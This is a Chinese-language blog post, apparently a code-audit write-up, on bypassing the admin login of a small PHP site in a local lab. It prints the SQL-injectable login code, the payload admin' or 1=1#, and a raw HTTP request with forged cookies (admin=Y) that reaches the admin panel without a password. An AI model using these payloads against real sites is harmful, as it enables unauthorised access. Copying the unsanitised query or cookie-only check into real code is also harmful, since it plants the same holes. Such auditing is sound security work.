PHP审计-后台绕过登录

简介: PHP审计-后台绕过登录
+关注继续查看

image

burp 抓包测试

image

单引号测试

image

login.php

参数未过滤 登录处存在SQL注入

使用万能密码

admin' or 1=1#
<?php
require '../config.php';
$adminname = $_POST['adminname'];
$adminpass = $_POST['adminpass'];
$adminsql = "select * from xwmi_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminery = mysql_query($adminsql, $config);
$adminnum = mysql_num_rows($adminery);
if ($adminnum == "1") {
setcookie("admin", "Y", time() + 3600*24, '/');
setcookie("admin_name", $adminname, time() + 3600*24, '/');
header("location:admin.php");
} else {
header("location:index.php");
}
?>

image

image

http://192.168.5.8/dunling/admin/admin.php

==>

http://192.168.5.8/dunling/index.php

admin.php

    <?php
    require 'check.php';
    require '../template/axadmin/head.php';
    require '../template/axadmin/banner.php';
    require '../template/axadmin/admin.php';
    require '../template/axadmin/bottom.php'
    ?>

    chack.php

    判断cookie中 admin的值是否为空 不为空则登陆到后台 没有做用户验证

      <?php
      error_reporting(0);
      isset($_COOKIE['admin'])?$check=$_COOKIE['admin']:$check=null;
      isset($_COOKIE['admin_name'])?$admin_user=$_COOKIE['admin_name']:$user=null;
      if($check != "Y" ){header("Location:../index.php");exit;}
      ?>

      抓包

      GET /dunling/admin/admin.php HTTP/1.1
      Host: 192.168.5.8
      Upgrade-Insecure-Requests: 1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 FS
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Cookie: admin=Y; admin_name=ajie
      Connection: close

      image

      cookie 加入信息 只要不为空 直接访问后台 无需密码。

      相关文章
      |
      2月前
      |
      前端开发 JavaScript 数据可视化
      javascript逐行显示数据及php实时输出前端内容后台保持继续运行的解决方案(setTimeout定时器、flush和ob_flush函数、安装进度展示)
      javascript逐行显示数据及php实时输出前端内容后台保持继续运行的解决方案(setTimeout定时器、flush和ob_flush函数、安装进度展示)
      50 0
      |
      2月前
      |
      安全 前端开发 PHP
      layui框架实战案例(21):layui上传的哪些事(layui.upload组件、 file文件域、php后台上传)
      layui框架实战案例(21):layui上传的哪些事(layui.upload组件、 file文件域、php后台上传)
      134 0
      |
      2月前
      |
      前端开发 JavaScript 数据管理
      百度地图开发:自定义区划管理php后台数据管理的解决方案(layUI前端)
      百度地图开发:自定义区划管理php后台数据管理的解决方案(layUI前端)
      42 0
      |
      2月前
      |
      前端开发 数据可视化 JavaScript
      ajax刷新php后台实现定时任务的执行解决方案
      ajax刷新php后台实现定时任务的执行解决方案
      38 0
      |
      2月前
      |
      数据管理 PHP 容器
      layui框架实战案例(2):LayUI表格与Echarts图表交互展示及PHP后台数据管理(搜索、翻页、动态显示)
      layui框架实战案例(2):LayUI表格与Echarts图表交互展示及PHP后台数据管理(搜索、翻页、动态显示)
      94 0
      |
      2月前
      |
      JSON PHP 数据格式
      layui框架实战案例(1):layui组件table异步加载数据结合php后台动态翻页的解决方案
      layui框架实战案例(1):layui组件table异步加载数据结合php后台动态翻页的解决方案
      105 0
      |
      2月前
      |
      JSON 前端开发 JavaScript
      Echarts实战案例代码(15):月收入年龄分段等MYSQL分类统计PHP后台数据管理接口API数据的解决方案
      Echarts实战案例代码(15):月收入年龄分段等MYSQL分类统计PHP后台数据管理接口API数据的解决方案
      87 0
      |
      2月前
      |
      JSON JavaScript PHP
      layui框架实战案例(2):layui文件上传PHP后台参数获取方式及JSON返回格式
      layui框架实战案例(2):layui文件上传PHP后台参数获取方式及JSON返回格式
      122 0
      |
      2月前
      |
      监控 数据可视化 前端开发
      漏刻有时LOCKDATA数据可视化大屏核心框架模版 带PHP后台数据管理 含2套Echarts模版
      漏刻有时LOCKDATA数据可视化大屏核心框架模版 带PHP后台数据管理 含2套Echarts模版
      38 0
      |
      4月前
      |
      小程序 PHP 开发者
      快速搭建微信小程序可以访问的PHP后台数据,phpstorm运行本地PHP后台项目
      快速搭建微信小程序可以访问的PHP后台数据,phpstorm运行本地PHP后台项目
      112 0
      推荐文章
      更多